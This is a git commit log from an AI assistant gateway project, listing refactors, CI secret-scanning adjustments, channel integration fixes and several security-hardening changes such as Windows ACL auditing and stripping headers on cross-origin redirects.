1fc11ea7d8 refactor(daemon): dedupe systemd restart test scaffolding 2026-03-07 17:58:30 +00:00
Peter Steinberger
a31d3cad96 refactor(fetch-guard): clarify cross-origin redirect header filtering 2026-03-07 17:58:05 +00:00
Peter Steinberger
c6472c189f chore: land #39056 Node version hint sync (thanks @onstash)
Land contributor change from #39056 and append changelog credit for @onstash.

Co-authored-by: Santosh Venkatraman <santosh.venk@gmail.com>
2026-03-07 17:51:54 +00:00
Byungsker
7735a0b85c fix(security): use icacls /sid for locale-independent Windows ACL audit (#38900)
* fix(security): use icacls /sid for locale-independent Windows ACL audit

On non-English Windows editions (Russian, Chinese, etc.) icacls prints
account names in the system locale.  When Node.js reads the output in a
different code page the strings are garbled (e.g. "NT AUTHORITY\???????"
for "NT AUTHORITY\СИСТЕМА"), causing summarizeWindowsAcl to classify SYSTEM
and Administrators as untrusted and flag the config files as "others
writable" — a false-positive security alert.

Fix:
1. Pass /sid to icacls so it outputs security identifiers (*S-1-5-X-...)
   instead of locale-dependent account names.
2. Extend SID_RE to accept the leading * that icacls prepends to SIDs in
   /sid mode: /^\*?s-\d+-\d+(-\d+)+$/i
3. Strip the * before looking up the bare SID in TRUSTED_SIDS / the
   per-user USERSID set so *S-1-5-18 is correctly classified as SYSTEM
   (trusted) and *S-1-5-32-544 as Administrators (trusted).

Tests:
- Update the inspectWindowsAcl "returns parsed ACL entries" assertion to
  expect the /sid flag in the icacls call.
- Add "classifies *S-1-5-18 (icacls /sid prefix form of SYSTEM) as trusted"
  SID classification test.
- Add "classifies *S-1-5-32-544 (icacls /sid Administrators) as trusted".
- Add inspectWindowsAcl end-to-end test with /sid-format mock output
  (*S-1-5-18, *S-1-5-32-544, user SID) — all three classified as trusted.

Fixes #35834

* fix(security): classify world-equivalent SIDs as 'world' when using icacls /sid

When icacls is invoked with /sid, world-equivalent principals like
Everyone, Authenticated Users, and BUILTIN\Users are emitted as raw
SIDs (*S-1-1-0, *S-1-5-11, *S-1-5-32-545). classifyPrincipal() had
no SID-based mapping for these, so they fell through to the generic
'group' category instead of 'world', silently downgrading security
findings that should trigger world-write/world-readable alerts.

Fix: add a WORLD_SIDS constant and check it before falling back to
'group'. Add three regression tests to lock in the behaviour.

* Security: resolve owner SID fallback for Windows ACL audit

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-07 12:49:33 -05:00
Peter Steinberger
4de697f8fa fix(ci): refresh detect-secrets baseline offsets 2026-03-07 17:42:17 +00:00
Peter Steinberger
46715371b0 fix(security): strip custom auth headers on cross-origin redirects 2026-03-07 17:34:42 +00:00
Peter Steinberger
630485ac98 fix(ci): harden diffs viewer request guard and secret scan baseline 2026-03-07 17:32:30 +00:00
Josh Avant
8e20dd22d8 Secrets: harden SecretRef-safe models.json persistence (#38955) 2026-03-07 11:28:39 -06:00
Peter Steinberger
b08337b902 docs(changelog): credit allowlist scoping report 2026-03-07 17:09:28 +00:00
Peter Steinberger
6f3990ddca refactor(commands): dedupe onboard search perplexity test setup 2026-03-07 17:05:23 +00:00
Peter Steinberger
8e6acded82 refactor(commands): dedupe message command secret-config tests 2026-03-07 17:05:23 +00:00
Peter Steinberger
0a73328053 refactor(cli): dedupe restart health probe setup tests 2026-03-07 17:05:23 +00:00
Peter Steinberger
8fd043abac refactor(cron): dedupe interim retry fallback assertions 2026-03-07 17:05:23 +00:00
Peter Steinberger
d103918891 refactor(commands): dedupe model probe target test fixtures 2026-03-07 17:05:23 +00:00
Peter Steinberger
bffec0f5d5 refactor(discord): dedupe message preflight test runners 2026-03-07 17:05:23 +00:00
Peter Steinberger
9849ee8390 refactor(discord): share message handler test scaffolding 2026-03-07 17:05:23 +00:00
Peter Steinberger
3381efc5c1 refactor(discord): dedupe native command ACP routing test setup 2026-03-07 17:05:23 +00:00
Peter Steinberger
949beca0c2 refactor(slack): dedupe app mention in-flight race setup 2026-03-07 17:05:23 +00:00
Peter Steinberger
d33efeef10 refactor(slack): reuse shared prepare test scaffolding 2026-03-07 17:05:23 +00:00
Peter Steinberger
08aae60dc9 refactor(plugin-sdk): extract shared channel prelude exports 2026-03-07 17:05:23 +00:00
Peter Steinberger
969b9029c0 refactor(slack): dedupe app mention race test setup 2026-03-07 17:05:23 +00:00
Peter Steinberger
5d37139ee5 refactor(line): dedupe replay webhook test fixtures 2026-03-07 17:05:23 +00:00
Peter Steinberger
4575bbbb69 refactor(telegram): dedupe topic agent routing tests 2026-03-07 17:05:23 +00:00
Peter Steinberger
c1eb973e32 refactor(telegram): dedupe native command session-meta fixtures 2026-03-07 17:05:23 +00:00
Peter Steinberger
a82df52753 refactor(extensions): share secret input schema builder 2026-03-07 17:05:23 +00:00
Peter Steinberger
134c1e23d3 refactor(commands): dedupe ACP stream test scaffolding 2026-03-07 17:05:23 +00:00
Peter Steinberger
e51bad0c3a refactor(discord): dedupe preflight test builders 2026-03-07 17:05:23 +00:00
Peter Steinberger
b3fd537740 refactor(line): share command authorization gate logic 2026-03-07 17:05:23 +00:00
Peter Steinberger
f7fef07725 refactor(slack): share account surface field types 2026-03-07 17:05:23 +00:00
Peter Steinberger
d02ef9efc2 refactor(telegram): share account config helpers 2026-03-07 17:05:23 +00:00
Peter Steinberger
398bf51659 refactor(slack): reuse shared account merge helper 2026-03-07 17:05:23 +00:00
Peter Steinberger
d01cb7b65f refactor(cron): share cron schedule resolver 2026-03-07 17:05:23 +00:00
Peter Steinberger
4204c96105 refactor(gateway): share input allowlist normalizer 2026-03-07 17:05:23 +00:00
Vincent Koc
70da80bcb5 Auto-reply: scope allowlist store writes by account (#39015)
* Auto-reply: scope allowlist store writes

* Tests: cover allowlist store account scoping

* Changelog: note allowlist store scoping hardening
2026-03-07 08:51:20 -08:00
Peter Steinberger
74912037dc perf: harden chunking against quadratic scans 2026-03-07 16:50:35 +00:00
Peter Steinberger
b393b9e8ff refactor(synology-chat): thread command authorization from webhook gate 2026-03-07 16:48:42 +00:00
Peter Steinberger
44881b0222 fix(diffs): harden proxied local viewer detection 2026-03-07 16:46:02 +00:00
Peter Steinberger
3a50e46cbf fix(nostr): harden profile mutation proxy guards 2026-03-07 16:44:21 +00:00
Peter Steinberger
1dd4f92ea2 fix: default local onboarding tools profile to coding 2026-03-07 16:41:27 +00:00
Vincent Koc
f03f305ade Mattermost: fix interaction action lookup sentinel (#38992) 2026-03-07 08:20:13 -08:00
Muhammed Mukhthar CM
4f08dcccfd Mattermost: add interactive model picker (#38767)
Merged via squash.

Prepared head SHA: 0883654e88
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-07 21:45:29 +05:30
Florian Hines
33e7394861 fix(providers): make all models available in kilocode provider (#32352)
* kilocode: dynamic model discovery, kilo/auto default, cooldown exemption

- Replace 9-model hardcoded catalog with dynamic discovery from
  GET /api/gateway/models (Venice-like pattern with static fallback)
- Default model changed from anthropic/claude-opus-4.6 to kilo/auto
  (smart routing model)
- Add createKilocodeWrapper for X-KILOCODE-FEATURE header injection
  and reasoning.effort handling (skip for kilo/auto)
- Add kilocode to cooldown-exempt providers (proxy like OpenRouter)
- Keep sync buildKilocodeProvider for onboarding, add async
  buildKilocodeProviderWithDiscovery for implicit provider resolution
- Per-token gateway pricing converted to per-1M-token for cost fields

* kilocode: skip reasoning injection for x-ai models, harden discovery loop

* fix(kilocode): keep valid discovered duplicates (openclaw#32352, thanks @pandemicsyn)

* refactor(proxy): normalize reasoning payload guards (openclaw#32352, thanks @pandemicsyn)

* chore(changelog): note kilocode hardening (openclaw#32352, thanks @pandemicsyn and @vincentkoc)

* chore(changelog): fix kilocode note format (openclaw#32352, thanks @pandemicsyn and @vincentkoc)

* test(kilocode): support auto-model override cases (openclaw#32352, thanks @pandemicsyn)

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-07 08:14:06 -08:00
Jason
786ec21b5a docs(cli): improve memory command examples (#31803)
Merged via squash.

Prepared head SHA: 15dcda3027
Co-authored-by: JasonOA888 <101583541+JasonOA888@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-07 19:03:23 +03:00
Nimrod Gutman
1eb7198bad fix(ios): skip quick setup when a gateway is configured (#38964)
* fix(ios): hide quick setup when gateway is configured

* fix: note ios quick setup gating for configured gateways (#38964) (thanks @ngutman)
2026-03-07 17:46:16 +02:00
Nimrod Gutman
0bac6e4d67 fix: add changelog note for ios app store connect release prep (#38936) (thanks @ngutman) 2026-03-07 17:21:07 +02:00
Nimrod Gutman
43ab4f33ad feat(ios): prepare app store connect release assets 2026-03-07 17:21:07 +02:00
Rodrigo Uroz
4c0b873a4d Config/Compaction: expose safeguard preserve and quality settings (#25557)
Merged via squash.

Prepared head SHA: ea9904039a
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-07 07:13:13 -08:00
Ayaan Zaidi
bdd0f74188 docs: add changelog for markdown image hardening (#38895) 2026-03-07 19:46:41 +05:30
Ayaan Zaidi
d25b493c7f fix: address markdown image review feedback 2026-03-07 19:46:41 +05:30
Ayaan Zaidi
4bf902de58 fix: flatten remote markdown images 2026-03-07 19:46:41 +05:30
Peter Steinberger
53a7e3b6e5 docs(security): clarify trusted operator control surfaces 2026-03-07 13:52:22 +00:00
Ayaan Zaidi
9e1de97a69 fix(telegram): route native topic commands to the active session (#38871)
* fix(telegram): resolve session entry for /stop in forum topics

Fixes #38675

- Export normalizeStoreSessionKey from store.ts for reuse
- Use it in resolveSessionEntryForKey so topic session keys (lowercase
  in store) are found when handling /stop
- Add test for forum topic session key lookup

* fix(telegram): share native topic routing with inbound messages

* fix: land telegram topic routing follow-up (#38871)

---------

Co-authored-by: xialonglee <li.xialong@xydigit.com>
2026-03-07 19:01:16 +05:30
Ayaan Zaidi
bfc36cc86d test: cover telegram ACP slash session namespace (#38680) 2026-03-07 18:15:30 +05:30
john
e8f419c4e0 fix(telegram): namespace slash SessionKey by agent
Fixes openclaw/openclaw#38648
2026-03-07 18:15:30 +05:30
Ayaan Zaidi
05c240fad6 fix: restart Windows gateway via Scheduled Task (#38825) (#38825) 2026-03-07 18:00:38 +05:30
Ayaan Zaidi
26c9796736 fix: check managed systemd unit before is-enabled (#38819) 2026-03-07 17:11:07 +05:30
Peter Steinberger
addd290f88 fix(ci): stabilize tests and detect-secrets after dep updates 2026-03-07 11:14:04 +00:00
Ayaan Zaidi
ac63f30cd2 test(nodes): type wrapped prepare coverage mock 2026-03-07 16:39:43 +05:30
Ayaan Zaidi
9d99370027 test(nodes): cover wrapped system.run prepare 2026-03-07 16:39:43 +05:30
Felipe
3efafab21b fix(nodes): remove redundant rawCommand from system.run.prepare
The nodes tool was passing rawCommand: formatExecCommand(command) to
system.run.prepare, which produced the full formatted argv string
(e.g. 'powershell -Command "echo hello"'). However,
validateSystemRunCommandConsistency() recognizes shell wrappers like
powershell/bash and extracts the inner command as the 'inferred' value
(e.g. 'echo hello'). This caused a rawCommand vs inferred mismatch,
breaking all nodes run commands with shell wrappers.

The fix removes the explicit rawCommand parameter, letting the
validation correctly infer the command text from the argv array.

Fixes #33080
2026-03-07 16:39:43 +05:30
Peter Steinberger
8db5d67768 chore: update dependencies except carbon 2026-03-07 10:55:18 +00:00
Peter Steinberger
b85005194e test(memory): make mcporter EINVAL retry test deterministic 2026-03-07 10:49:03 +00:00
Peter Steinberger
1aa77e4603 refactor(extensions): reuse shared helper primitives 2026-03-07 10:41:05 +00:00
Peter Steinberger
3c71e2bd48 refactor(core): extract shared dedup helpers 2026-03-07 10:41:05 +00:00
Ayaan Zaidi
14c61bb33f fix(ci): re-enable detect-secrets on main 2026-03-07 16:09:12 +05:30
Peter Steinberger
f358c6f2fb docs: reorder 2026.3.7 changelog highlights 2026-03-07 10:10:42 +00:00
Peter Steinberger
997a9f5b9e chore: bump version to 2026.3.7 2026-03-07 10:09:02 +00:00
Ayaan Zaidi
84f5d7dc1d fix(android): align run command with app id 2026-03-07 14:58:51 +05:30
Ayaan Zaidi
2018d8aa99 docs: add changelog entry for Android package rename (#38712) 2026-03-07 14:51:03 +05:30
Ayaan Zaidi
5568b393a8 fix(android): rename app package to ai.openclaw.app 2026-03-07 14:51:03 +05:30
Tak Hoffman
8873e13f1e fix(gateway): stop stale-socket restarts before first event (#38643)
* fix(gateway): guard stale-socket restarts by event liveness

* fix(gateway): centralize connect-time liveness tracking

* fix(web): apply connected status patch atomically

* fix(gateway): require active socket for stale checks

* fix(gateway): ignore inherited stale event timestamps
2026-03-07 00:58:08 -06:00
ql-wade
a5c07fa115 fix(gateway): skip stale-socket restarts for Telegram polling (openclaw#38405)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: ql-wade <262266039+ql-wade@users.noreply.github.com>
2026-03-07 00:20:34 -06:00
拐爷&&老拐瘦
2e31aead39 fix(gateway): invalidate bootstrap cache on session rollover (openclaw#38535)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: yfge <1186273+yfge@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-06 23:46:02 -06:00
Ayaan Zaidi
e802840b62 docs: update changelog for reply media delivery (#38572) 2026-03-07 10:52:16 +05:30
Ayaan Zaidi
c943747d6b fix: contain final reply media normalization failures 2026-03-07 10:52:16 +05:30
Ayaan Zaidi
059aedeb08 fix: contain block reply media failures 2026-03-07 10:52:16 +05:30
Ayaan Zaidi
77ef672468 fix: normalize reply media paths 2026-03-07 10:52:16 +05:30
Vincent Koc
15a5e39da2 Fix owner-only auth and overlapping skill env regressions (#38548) 2026-03-06 23:33:42 -05:00
Xinhua Gu
024af2b738 fix(feishu): disable block streaming to prevent silent reply drops (openclaw#38422)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: xinhuagu <562450+xinhuagu@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-06 22:33:30 -06:00
ql-wade
e309a15d73 fix: suppress ACP NO_REPLY fragments in console output (#38436) 2026-03-07 09:34:45 +05:30
Vincent Koc
6017b738b1 Web: add HEIC media regression and doc fix (#38294)
* Web: add HEIC media normalization regression

* Docs: list HEIC input_image MIME types

* Update src/web/media.test.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-06 22:49:38 -05:00
Xinhua Gu
1a022a31de fix(gateway): classify wrapped "fetch failed" messages as transient network errors (openclaw#38530)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: xinhuagu <562450+xinhuagu@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-06 21:47:32 -06:00
Jakob
fa69f836c4 fix: increase maxTokens for tool probe to support reasoning models
Closes #7521
2026-03-06 22:27:28 -05:00
Tak Hoffman
a01978ba96 fix(googlechat): inherit shared defaults for multi-account webhook auth (#38492)
* fix(googlechat): inherit shared defaults from accounts.default

* fix(googlechat): do not inherit default enabled state

* fix(googlechat): avoid inheriting default credentials

* fix(googlechat): keep dangerous auth flags account-local
2026-03-06 21:11:55 -06:00
Vincent Koc
ba9eaf2ee2 fix(media): retain inbound media with recursive cleanup TTL (#38292)
* Config: add media retention TTL setting

* Media: recurse persisted media cleanup

* Gateway: add persisted media cleanup timer

* Media: harden retention cleanup sweep

* Media: make recursive retention cleanup opt-in

* Media: retry writes after empty-dir cleanup race
2026-03-06 22:06:09 -05:00
Vincent Koc
563a125c66 fix(gateway): stop shared-main chat.send from inheriting stale external routes (#38418)
* fix(gateway): prevent webchat messages from cross-routing to external channels

chat.send always originates from the webchat/control-UI surface.  Previously,
channel-scoped session keys (e.g. agent:main:slack:direct:U…) caused
OriginatingChannel to inherit the session's stored external route, so the
reply dispatcher would route responses to Slack/Telegram instead of back to
the gateway connection.  Remove the route-inheritance logic from chat.send and
always set OriginatingChannel to INTERNAL_MESSAGE_CHANNEL ("webchat").

Closes #34647

Made-with: Cursor

* Gateway: preserve configured-main connect gating

* Gateway: cover connect-without-client routing

* Gateway: add chat.send session key length limit

* Gateway: cap chat.send session key schema

* Gateway: bound chat.send session key parsing

* Gateway: cover oversized chat.send session keys

* Update CHANGELOG.md

---------

Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
2026-03-06 21:59:08 -05:00
Vincent Koc
bf623a580b Agents: add skill API rate-limit guardrail (#38452)
* Agents: add rate-limit guardrail for skill API writes

* Changelog: note skill API rate-limit awareness
2026-03-06 20:20:00 -05:00
Vincent Koc
75981b05c3 Dependencies: remove unused extension packages (#38317)
* Dependencies: drop unused extension packages

* Dependencies: drop unused tlon http-api package

* Dependencies: keep bundled acpx package
2026-03-06 19:55:41 -05:00
Vincent Koc
2d52c88dad fix(podman): stop assuming /tmp is disk-backed (#38296)
* Podman: avoid hardcoding /tmp for image staging

* Docs: clarify container storage paths

* Podman: secure staged image import

* Podman: clarify streamed image handoff
2026-03-06 19:55:26 -05:00
Vincent Koc
74959fc1fd Dependencies: remove unused core and UI packages (#38316)
* Dependencies: drop unused root runtime packages

* Dependencies: trim unused UI package deps

* Dependencies: keep UI build deps and stable git lock resolution

* Lockfile: fix UI vitest browser snapshot key
2026-03-06 19:53:22 -05:00
Vincent Koc
063b9aabe2 fix: xxxxx 2026-03-06 19:46:38 -05:00
Vincent Koc
42e3d8d693 Secrets: add inline allowlist review set (#38314)
* Secrets: add inline allowlist review set

* Secrets: narrow detect-secrets file exclusions

* Secrets: exclude Docker fingerprint false positive

* Secrets: allowlist test and docs false positives

* Secrets: refresh baseline after allowlist updates

* Secrets: fix gateway chat fixture pragma

* Secrets: format pre-commit config

* Android: keep talk mode fixture JSON valid

* Feishu: rely on client timeout injection

* Secrets: allowlist provider auth test fixtures

* Secrets: allowlist onboard search fixtures

* Secrets: allowlist onboard mode fixture

* Secrets: allowlist gateway auth mode fixture

* Secrets: allowlist APNS wake test key

* Secrets: allowlist gateway reload fixtures

* Secrets: allowlist moonshot video fixture

* Secrets: allowlist auto audio fixture

* Secrets: allowlist tiny audio fixture

* Secrets: allowlist embeddings fixtures

* Secrets: allowlist resolve fixtures

* Secrets: allowlist target registry pattern fixtures

* Secrets: allowlist gateway chat env fixture

* Secrets: refresh baseline after fixture allowlists

* Secrets: reapply gateway chat env allowlist

* Secrets: reapply gateway chat env allowlist

* Secrets: stabilize gateway chat env allowlist

* Secrets: allowlist runtime snapshot save fixture

* Secrets: allowlist oauth profile fixtures

* Secrets: allowlist compaction identifier fixture

* Secrets: allowlist model auth fixture

* Secrets: allowlist model status fixtures

* Secrets: allowlist custom onboarding fixture

* Secrets: allowlist mattermost token summary fixtures

* Secrets: allowlist gateway auth suite fixtures

* Secrets: allowlist channel summary fixture

* Secrets: allowlist provider usage auth fixtures

* Secrets: allowlist media proxy fixture

* Secrets: allowlist secrets audit fixtures

* Secrets: refresh baseline after final fixture allowlists

* Feishu: prefer explicit client timeout

* Feishu: test direct timeout precedence
2026-03-06 19:35:26 -05:00
Vincent Koc
3070fafec1 fix(venice): switch default model to kimi-k2-5 (#38423)
* Docs: refresh Venice default model guidance

* Venice: switch default model to Kimi K2.5

* Changelog: credit Venice default refresh
2026-03-06 19:31:07 -05:00
OfflynAI
adb9234d03 fix(imessage): prevent echo loop from leaking internal metadata and amplifying NO_REPLY into queue overflow (#33295)
* fix(imessage): prevent echo loop from leaking internal metadata and amplifying NO_REPLY into queue overflow

- Add outbound sanitization at channel boundary (sanitize-outbound.ts):
  strips thinking/reasoning tags, relevant-memories tags, model-specific
  separators (+#+#), and assistant role markers before iMessage delivery

- Add inbound reflection guard (reflection-guard.ts): detects and drops
  messages containing assistant-internal markers that indicate a reflected
  outbound message, preventing recursive echo amplification

- Harden echo cache: increase text TTL from 5s to 30s to catch delayed
  reflections that previously expired before the echo could be detected

- Add loop rate limiter (loop-rate-limiter.ts): per-conversation rapid-fire
  detection that suppresses conversations exceeding threshold within a
  time window, acting as a safety net against amplification

Closes #33281

* fix(imessage): address review — stricter reflection regex, loop-aware rate limiter

- Reflection guard: require closing > bracket on thinking/final/memory
  tag patterns to prevent false-positives on user phrases like
  '<final answer>' or '<thought experiment>' (#33295 review)

- Rate limiter: only record echo/reflection/from-me drops instead of
  all dispatches, so the limiter acts as a loop-specific escalation
  mechanism rather than a general throttle on normal conversation
  velocity (#33295 review)

* Changelog: add iMessage echo-loop hardening entry

* iMessage: restore short echo-text TTL

* iMessage: ignore reflection markers in code

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 19:19:57 -05:00
Vincent Koc
5320ee7731 fix(venice): harden discovery limits and tool support (#38306)
* Config: add supportsTools compat flag

* Agents: add model tool support helper

* Venice: sync discovery and fallback metadata

* Agents: skip tools for unsupported models

* Changelog: note Venice provider hardening

* Update CHANGELOG.md

* Venice: cap degraded discovery metadata

* Apply suggestion from @greptile-apps[bot]

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* Venice: tolerate partial discovery capabilities

* Venice: tolerate missing discovery specs

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-06 19:07:11 -05:00
SP
942c53e7f0 fix(agents): prevent totalTokens crash when assistant usage is missing (#34977)
Merged via squash.

Prepared head SHA: 1c14094f3f
Co-authored-by: sp-hk2ldn <8068616+sp-hk2ldn@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-06 15:59:16 -08:00
Marcus Widing
48b3c4a043 fix(auth): treat unconfigured-owner sessions as owner for ownerOnly tools (#26331)
Merged via squash.

Prepared head SHA: 1fbe1c7651
Co-authored-by: widingmarcus-cyber <245375637+widingmarcus-cyber@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-06 15:37:07 -08:00
Drew Wagner
ae96a81916 fix: strip skill-injected env vars from ACP harness spawn env (#36280) (#36316)
* fix: strip skill-injected env vars from ACP harness spawn env

Skill apiKey entries (e.g., openai-image-gen with primaryEnv=OPENAI_API_KEY)
are set on process.env during agent runs and only reverted after the run
completes. ACP harnesses like Codex CLI inherit these vars, causing them
to silently use API billing instead of their own auth (e.g., OAuth).

The fix tracks which env vars are actively injected by skill overrides in
a module-level Set (activeSkillEnvKeys) and strips them in
resolveAcpClientSpawnEnv() before spawning ACP child processes.

Fixes #36280

* ACP: type spawn env for stripped keys

* Skills: cover active env key lifecycle

* Changelog: note ACP skill env isolation

* ACP: preserve shell marker after env stripping

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-06 18:18:13 -05:00
Efe Büken
03b9abab84 feat(compaction): make post-compaction context sections configurable (#34556)
Merged via squash.

Prepared head SHA: 491bb28544
Co-authored-by: efe-arv <259833796+efe-arv@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-06 14:57:15 -08:00
Vincent Koc
455430a6f8 Dead code: remove unused helper modules (#38318)
* Dead code: remove unused provider runtime policy helper

* Dead code: remove unused shared env writer

* Dead code: remove unused auth store path collector
2026-03-06 17:53:02 -05:00
Vincent Koc
a190220967 Tests: serialize low-memory test runner lanes 2026-03-06 17:45:44 -05:00
Altay
6e962d8b9e fix(agents): handle overloaded failover separately (#38301)
* fix(agents): skip auth-profile failure on overload

* fix(agents): note overload auth-profile fallback fix

* fix(agents): classify overloaded failures separately

* fix(agents): back off before overload failover

* fix(agents): tighten overload probe and backoff state

* fix(agents): persist overloaded cooldown across runs

* fix(agents): tighten overloaded status handling

* test(agents): add overload regression coverage

* fix(agents): restore runner imports after rebase

* test(agents): add overload fallback integration coverage

* fix(agents): harden overloaded failover abort handling

* test(agents): tighten overload classifier coverage

* test(agents): cover all-overloaded fallback exhaustion

* fix(cron): retry overloaded fallback summaries

* fix(cron): treat HTTP 529 as overloaded retry
2026-03-07 01:42:11 +03:00
Vincent Koc
110ca23bab Feishu: update media timeout tests 2026-03-06 17:34:41 -05:00
Wei Zhou
e601bf2d8e fix(pi-embedded-runner): propagate sender identity to fix Feishu doc create auto-grant (#32915)
Merged via squash.

Prepared head SHA: efb2293075
Co-authored-by: cszhouwei <1811726+cszhouwei@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-06 14:31:15 -08:00
Shadow
91494b2596 fix: repair auto-response workflow YAML 2026-03-06 16:24:50 -06:00
Shadow
c301c5d083 fix: add no-ci-pr auto-response label 2026-03-06 15:53:59 -06:00
Shadow
864a1ecae7 docs: add changelog entry for Feishu timeouts (#38356) 2026-03-06 15:53:10 -06:00
Anton Eicher
20db7afd5f fix(feishu): remove invalid timeout properties from SDK method calls (#38267)
The `timeout` property is not part of the Lark SDK method signatures,
causing TS2353 errors. The client-level `httpTimeoutMs` already applies
the timeout to all requests.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 15:50:34 -06:00
AngryBird
7ce79c8972 docs: fix broken dashboard image on i18n pages (#38031)
The dashboard screenshot uses a relative path `src="whatsapp-openclaw.jpg"`
which resolves correctly on the English root page but produces 404 on
zh-CN and ja-JP pages because Mintlify prepends the language subdirectory
to the CDN path.

Change to absolute path `/whatsapp-openclaw.jpg` in all three index files,
consistent with other images on the same page that already use absolute
paths (e.g. `/assets/openclaw-logo-text-dark.png`).
2026-03-07 00:22:19 +03:00
Vincent Koc
ab5fcfcc01 feat(gateway): add channel-backed readiness probes (#38285)
* Changelog: add channel-backed readiness probe entry

* Gateway: add channel-backed readiness probes

* Docs: describe readiness probe behavior

* Gateway: add readiness probe regression tests

* Changelog: dedupe gateway probe entries

* Docs: fix readiness startup grace description

* Changelog: remove stale readiness entry

* Gateway: cover readiness hardening

* Gateway: harden readiness probes
2026-03-06 15:15:23 -05:00
Vincent Koc
b17baca871 CI: enable report-only Knip deadcode job 2026-03-06 15:15:16 -05:00
Vincent Koc
b70d3c4af3 Tooling: wire deadcode scripts to Knip 2026-03-06 15:15:16 -05:00
Vincent Koc
768736dc19 Tooling: add Knip workspace config 2026-03-06 15:15:16 -05:00
Vincent Koc
9c55299a82 CI: skip detect-secrets on main temporarily 2026-03-06 15:00:46 -05:00
Vincent Koc
82eebc905d Install Smoke: fetch docs base on demand 2026-03-06 14:45:37 -05:00
Vincent Koc
9c464c274c CI: fetch base history on demand 2026-03-06 14:45:34 -05:00
Vincent Koc
e9919ead49 CI: add base-commit fetch helper 2026-03-06 14:45:30 -05:00
Vincent Koc
042b2c867d Docs: clarify main secret scan behavior 2026-03-06 14:41:23 -05:00
Vincent Koc
66112980aa CI: keep full secret scans on main 2026-03-06 14:41:20 -05:00
Vincent Koc
b529b7c6b7 Docs: update secret scan reproduction steps 2026-03-06 14:34:46 -05:00
Vincent Koc
ec3df0dd8f CI: scope secret scans to changed files 2026-03-06 14:34:46 -05:00
Vincent Koc
084dfd2ecc Media: reject spoofed input_image MIME payloads (#38289)
* Media: reject spoofed input image MIME types

* Media: cover spoofed input image MIME regressions

* Changelog: note input image MIME hardening
2026-03-06 14:34:28 -05:00
Vincent Koc
38f46e80b0 chore: code/dead tests cleanup (#38286)
* Discord: assert bot-self filter queue guard

* Tests: remove dead gateway SIGTERM placeholder
2026-03-06 14:27:02 -05:00
Vincent Koc
5e05a9cb79 Install Smoke: cache docker smoke builds 2026-03-06 14:23:04 -05:00
Vincent Koc
60d20f9daf Install Smoke: allow reusing prebuilt test images 2026-03-06 14:23:00 -05:00
Vincent Koc
afdbc472a4 Install Smoke: shallow docs-scope checkout 2026-03-06 14:15:15 -05:00
Vincent Koc
067ec4f0f9 CI: shallow scope checkouts 2026-03-06 14:15:15 -05:00
Kesku
3d7bc5958d feat(onboarding): add web search to onboarding flow (#34009)
* add web search to onboarding flow

* remove post onboarding step (now redundant)

* post-onboarding nudge if no web search set up

* address comments

* fix test mocking

* add enabled: false assertion to the no-key test

* --skip-search cli flag

* use provider that a user has a key for

* add assertions, replace the duplicated switch blocks

* test for quickstart fast-path with existing config key

* address comments

* cover quickstart falls through to key test

* bring back key source

* normalize secret inputs instead of direct string trimming

* preserve enabled: false if it's already set

* handle missing API keys in flow

* doc updates

* hasExistingKey to detect both plaintext strings and SecretRef objects

* preserve enabled state only on the "keep current" paths

* add test for preserving

* better gate flows

* guard against invalid provider values in config

* Update src/commands/configure.wizard.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

* format fix

* only mentions env var when it's actually available

* search apiKey fields now typed as SecretInput

* if no provider check if any search provider key is detectable

* handle both kimi keys

* remove .filter(Boolean)

* do not disable web_search after user enables it

* update resolveSearchProvider

* fix(onboarding): skip search key prompt in ref mode

* fix: add onboarding web search step (#34009) (thanks @kesku)

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Co-authored-by: Shadow <hi@shadowing.dev>
2026-03-06 13:09:00 -06:00
Shadow
9a1a63a667 chore: disable contributor labels 2026-03-06 12:37:14 -06:00
Shadow
8f834ff87d chore: update X handle 2026-03-06 12:29:44 -06:00
Shadow
3e967cbc22 fix: add stale workflow fallback run 2026-03-06 12:15:28 -06:00
Shadow
